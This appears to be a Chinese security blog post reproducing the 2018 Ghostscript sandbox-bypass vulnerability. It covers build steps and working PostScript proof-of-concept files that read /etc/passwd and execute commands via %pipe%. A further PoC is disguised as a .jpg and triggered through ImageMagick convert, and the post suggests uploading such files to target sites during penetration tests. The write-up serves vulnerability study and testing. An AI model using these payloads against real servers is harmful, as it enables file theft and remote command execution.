GhostScript沙箱绕过命令执行漏洞复现

一、漏洞信息

项目 描述
漏洞名称 GhostScript 沙箱绕过(命令执行)漏洞
漏洞作者 Tavis Ormandy
CVE编号 暂未分配
漏洞描述 攻击者利用此漏洞可以上传恶意构造的图像文件,当目标服务器在对图像进行裁剪、转换等处理时即会执行攻击者指定的命令。
影响范围 <= 9.23(全版本,全平台)
披露时间 2018-08-21

二、复现环境

  • OS:Ubuntu 14.10
  • Ghostscript version:9.23(当下最新版本)
  • Imagemagic version:7.0.8(当下最新版本)

三、环境搭建

3.1 安装Ghostscript

1
2
3
4
5
6
7
8
9
10
11
12
c0ny1@Ubuntu ~$ cd /usr/local
c0ny1@Ubuntu /usr/local$ wget https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs923/ghostscript-9.23.tar.gz
c0ny1@Ubuntu /usr/local$ tar zxvf ghostscript-9.23.tar.gz
c0ny1@Ubuntu /usr/local$ cd ghostscript-9.23
c0ny1@Ubuntu /usr/local/ghostscript-9.23$ ./configure --prefix=/usr
c0ny1@Ubuntu /usr/local/ghostscript-9.23$ mkdir obj
c0ny1@Ubuntu /usr/local/ghostscript-9.23$ mkdir bin
c0ny1@Ubuntu /usr/local/ghostscript-9.23$ make all
c0ny1@Ubuntu /usr/local/ghostscript-9.23$ sudo make install
c0ny1@Ubuntu /usr/local/ghostscript-9.23$ gs -v #检查是否安装成功
GPL Ghostscript 9.23 (2018-03-21)
Copyright (C) 2018 Artifex Software, Inc. All rights reserved.

3.2 安装Imagemagic

1
2
3
4
5
6
7
8
9
10
11
12
13
c0ny1@Ubuntu /usr/local$ wget https://github.com/ImageMagick/ImageMagick/archive/7.0.8-9.tar.gz
c0ny1@Ubuntu /usr/local$ tar zxvf 7.0.8-9.tar.gz
c0ny1@Ubuntu /usr/local$ cd ImageMagick-7.0.8-9/
c0ny1@Ubuntu /usr/local/ImageMagick-7.0.8-9$ ./configure --prefix=/usr
c0ny1@Ubuntu /usr/local/ImageMagick-7.0.8-9$ make
c0ny1@Ubuntu /usr/local/ImageMagick-7.0.8-9$ make install
c0ny1@Ubuntu /usr/local/ImageMagick-7.0.8-9$ sudo ldconfig /usr/local/lib #使用新增的动态链接库生效
c0ny1@Ubuntu /usr/local/ImageMagick-7.0.8-9$ convert -version #检查是否安装成功
Version: ImageMagick 7.0.8-9 Q16 i686 2018-08-26 https://www.imagemagick.org
Copyright: ? 1999-2018 ImageMagick Studio LLC
License: https://www.imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP
Delegates (built-in):

四、漏洞验证

4.1 读文件

读取/etc/passwd文件内容的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/FileToSteal (/etc/passwd) def
errordict /undefinedfilename {
FileToSteal % save the undefined name
} put
errordict /undefined {
(STOLEN: ) print
counttomark {
==only
} repeat
(\n) print
FileToSteal
} put
errordict /invalidfileaccess {
pop
} put
errordict /typecheck {
pop
} put
FileToSteal (w) .tempfile
statusdict
begin
1 1 .setpagesize
end
quit

将以上poc保存为poc.ps文件,并执行以下命令。

1
gs -q -sDEVICE=ppmraw -dSAFER  poc.ps

图1-执行结果

4.2命令执行

ubuntu poc:

1
2
3
4
5
6
7
8
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

centos poc:

1
2
3
4
5
6
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

这里我们是linux是Ubuntu发行版,故选择第一个poc进行测试。将以上poc保存为poc.jpg文件,并执行以下命令,测试对恶意图片文件进行格式转换。

1
/usr/local/bin/convert poc.jpg poc.jpg

图2-执行结果

注意: 漏洞作者的《More Ghostscript Issues: Should we disable PS coders in policy.xml by default?》这篇文章里的convert命令不是ghostscript的,而是它的上游应用。可以是imagemagick,也可以是graphicsmagick。经过测试两个软件的convert命令都存在漏洞,我们这里复测的事imagemagick。

五、总结

ghostscript的上游应用有imagemagick,libmagick,graphicsmagick,gimp,python-matplotlib,texlive-core,texmacs,latex2html,latex2rtf等,其中ImageMagick受该漏洞影响最为严重。有相当多的网站,博客,媒体平台和流行的CMS(WordPress,Drupal等)在使用ImageMagick来进行图像处理。 故在日常渗透测试中,可以上传带有dnslog测试的poc,来测试目标网站是否存在该漏洞。

参考文章